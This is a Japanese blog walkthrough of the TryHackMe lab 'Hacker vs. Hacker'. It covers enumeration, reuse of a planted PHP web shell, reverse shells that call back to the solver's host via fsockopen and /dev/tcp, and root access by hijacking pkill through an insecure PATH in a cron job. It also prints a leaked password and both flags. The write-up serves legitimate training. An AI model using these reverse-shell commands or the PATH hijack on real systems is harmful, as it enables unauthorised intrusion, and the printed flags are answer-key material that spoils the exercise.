0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Hacker vs. Hacker:Walkthrough

Posted at

概要

TryHackMe「Hacker vs. Hacker」のWalkthroughです。

Task1

Q1.What is the user.txt flag?

Hint.The hacker may have been a bit sloppy in their stealth measures...

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 10.10.93.193 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
|   256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
|_  256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

80番ポートでWebサイトにアクセスできました。

home page.jpg

ディレクトリ列挙を行います。

$ dirsearch -u http://10.10.93.193
[04:53:16] 301 -  310B  - /css  ->  http://10.10.93.193/css/
[04:53:17] 301 -  310B  - /cvs  ->  http://10.10.93.193/cvs/
[04:53:17] 200 -   26B  - /cvs/
[04:53:19] 301 -  311B  - /dist  ->  http://10.10.93.193/dist/
[04:53:19] 200 -  455B  - /dist/
[04:53:30] 301 -  313B  - /images  ->  http://10.10.93.193/images/
[04:53:30] 200 -  498B  - /images/
[04:54:14] 200 -  335B  - /upload.php

ファイルをアップロードする/upload.phpは書き換えられています。

upload source code.jpg

元の処理はファイルが.pdfか判定し、/cvsファイルへアップロードする機能のようです。
この場合、攻撃者が使用するテクニックは.pdf.phpのようなファイルをアップロードして拡張子の判定をバイパスする手法です。
サーバーではPHPが動作しているので、攻撃者はPHPのリバースシェルファイルをアップロードした可能性が高いです。

攻撃者がアップロードしたであろう.pdf.phpに予測を付け/cvs配下をスキャンします。

$ dirsearch -u http://10.10.222.254/cvs -e .pdf.php
[11:31:30] 200 -   18B  - /cvs/shell.pdf.php

/cvs/shell.pdf.phpがヒットしました。
シェルファイルはGETリクエストパラメータでコマンドを実行できることが多いです。
パラメータ名のファジングをします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.222.254/cvs/shell.pdf.php?FUZZ=ls -ic -c -fs 18
cmd                     [Status: 200, Size: 43, Words: 1, Lines: 4, Duration: 241ms]

cmdパラメータを発見しました。

rce success.jpg

パラメータを送信します。

?cmd=php%20-r%20%27$sock=fsockopen(%2210.6.55.144%22,1234);exec(%22bash%20%3C%263%20%3E%263%202%3E%263%22);%27

リバースシェルを張ります。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42840
ls
index.html
shell.pdf.php

/home/lachlan/user.txtからフラグを入手できます。

/home/lachlan/user.txt
thm{af7e46b68081d4025c5ce10851430617}

A.thm{af7e46b68081d4025c5ce10851430617}

Q2.What is the proof.txt flag?

Hint....and a bit sloppy in their automated kill scripts.

/home/lachlan/.bash_historyを確認するとlachlanのパスワードがthisistheway123だと分かりました。

./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history

しかし、SSH接続をするとログインは出来ましたが数秒後に接続が切られます。

$ ssh lachlan@10.10.222.254
lachlan@10.10.222.254's password: 
Last login: Thu May  5 04:39:19 2022 from 192.168.56.1
$ pwdnope
Connection to 10.10.222.254 closed.

/home/lachlan/.bash_historyで見つけた/etc/cron.d/persistenceを確認するとスクリプトでプロセスが強制終了されています。

PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

PATH=/home/lachlan/bin:/bin:/usr/binを見ると/home/lachlan/binのパスから順にコマンドを参照している、pkillが絶対パスで指定されていないことが分かります。
/home/lachlan/binpkillファイルを作成した場合、/home/lachlan/bin/pkillが実行されます。

/home/lachlan/bin/pkillをリバースシェルのスクリプトとして作成します。

echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill

事前にNetcatで待ち受けをします。

$ nc -lvnp 1234

SSH接続してプロセスがキルされる前にコマンドを入力します。

$ ssh lachlan@10.10.222.254
$ echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill
$ nope

しばらくするとrootのシェルを取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42862
sh: 0: can't access tty; job control turned off
# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
thm{7b708e5224f666d3562647816ee2a1d4}

A.thm{7b708e5224f666d3562647816ee2a1d4}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?